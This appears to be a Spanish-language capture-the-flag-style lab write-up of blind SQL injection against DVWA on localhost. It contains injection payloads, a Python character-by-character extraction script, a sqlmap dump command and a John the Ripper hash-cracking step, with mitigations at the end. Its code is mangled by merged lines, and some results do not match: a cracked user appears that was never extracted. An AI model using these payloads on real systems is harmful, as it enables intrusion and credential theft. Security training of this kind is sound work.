🛡️Explotación – DVWA (SQL Injection Blind)


🎯 Objetivo

Identificar y explotar una vulnerabilidad de SQL Injection Blind para extraer información sensible de la base de datos sin acceso directo a los resultados.


🧪 Entorno de Trabajo

  • Navegador web
  • Python (requests)
  • sqlmap
  • John the Ripper

🔍 Fase 1 – Identificación

Se prueban valores en el parámetro id:

  • 1User exists
  • 6User missing

👉 Se detecta comportamiento diferencial basado en la existencia de registros.


💣 Fase 2 – Confirmación de SQL Injection Blind

🔹 Payload verdadero

1' AND 1=1 --

✔ Resultado: exists


🔹 Payload falso

1' AND 1=2 --

❌ Resultado: missing


📌 Conclusión

Se confirma una vulnerabilidad de tipo:

👉 Boolean-based Blind SQL Injection


🔎 Fase 3 – Extracción Manual

🔹 Longitud de la base de datos

1' AND LENGTH(database())=4 --

✔ Resultado: exists
👉 Longitud = 4


🔹 Extracción carácter a carácter

SUBSTRING(database(),posición,1)

Resultado final:

dvwa

🤖 Fase 4 – Automatización con Python

Para optimizar la extracción, se desarrolló un script que automatiza el proceso de inferencia.

⚙️ Script utilizado

import requests
import stringurl = "http://localhost:8080/vulnerabilities/sqli_blind/"cookies = {
"PHPSESSID": "TU_SESION",
"security": "low"
}chars = string.ascii_lowercase + string.digits
resultado = ""for position in range(1, 35):
for char in chars:
payload = f"1' AND SUBSTRING((SELECT database()),{position},1)='{char}' -- "

params = {
"id": payload,
"Submit": "Submit"
} response = requests.get(url, params=params, cookies=cookies) if "exists" in response.text:
resultado += char
print(f"[+] Carácter encontrado: {char}")
breakprint(f"\n[+] Base de datos: {resultado}")

🔍 Funcionamiento

  • Itera por cada posición del string
  • Prueba caracteres posibles
  • Detecta respuestas TRUE/FALSE
  • Reconstruye el valor completo automáticamente

💥 Resultado

dvwa

✔ Extracción automatizada exitosa


🗂️ Fase 5 – Enumeración de Tablas

SELECT table_name FROM information_schema.tables

Resultado:

  • guestbook

🧩 Fase 6 – Enumeración de Columnas

SELECT column_name FROM information_schema.columns WHERE table_name='users'

Resultado:

  • user_id

🔐 Fase 7 – Extracción de Credenciales

SELECT user, password FROM users

Resultado:

  • admin → 5f4dcc3b5aa765d61d8327deb882cf99
  • gordonb → e99a18c428cb38d5f260853678922e03
  • pablo → 0d107d09f5bbe40cade3de5c71e9e9b7

🔓 Fase 8 – Cracking de Contraseñas

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Resultados:

UsuarioContraseña
adminpassword
gordonbabc123
pabloletmein
1337charley

⚙️ Fase 9 – Automatización con sqlmap

sqlmap -u "http://localhost:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="PHPSESSID=XXX; security=low" \
-D dvwa -T users --dump

💥 Resultado

  • Dump completo de la tabla users
  • Extracción automatizada de credenciales
  • Posibilidad de cracking automático

⚠️ Impacto

Un atacante puede:

  • Extraer información sin output visible
  • Obtener credenciales
  • Automatizar completamente el ataque
  • Comprometer la base de datos

🛡️ Mitigaciones

  • Uso de Prepared Statements
  • Validación de entradas
  • No confiar en datos del usuario
  • Implementar WAF
  • Uso de hashing seguro (bcrypt, Argon2)

🧾 Conclusión

La aplicación es vulnerable a SQL Injection Blind, permitiendo la extracción de datos mediante inferencia booleana.

Se ha demostrado:

  • ✔ Extracción manual
  • ✔ Automatización con scripting
  • ✔ Uso de herramientas profesionales

👉 Escenario realista de compromiso completo de base de datos.


🚀 Nivel Técnico Alcanzado

  • ✔ SQL Injection Blind
  • ✔ Boolean-based exploitation
  • ✔ Automatización con Python
  • ✔ Uso de herramientas (sqlmap, cracking)

🔥 Resultado Final

Explotación completa mediante inferencia + automatización exitosa.

Scroll al inicio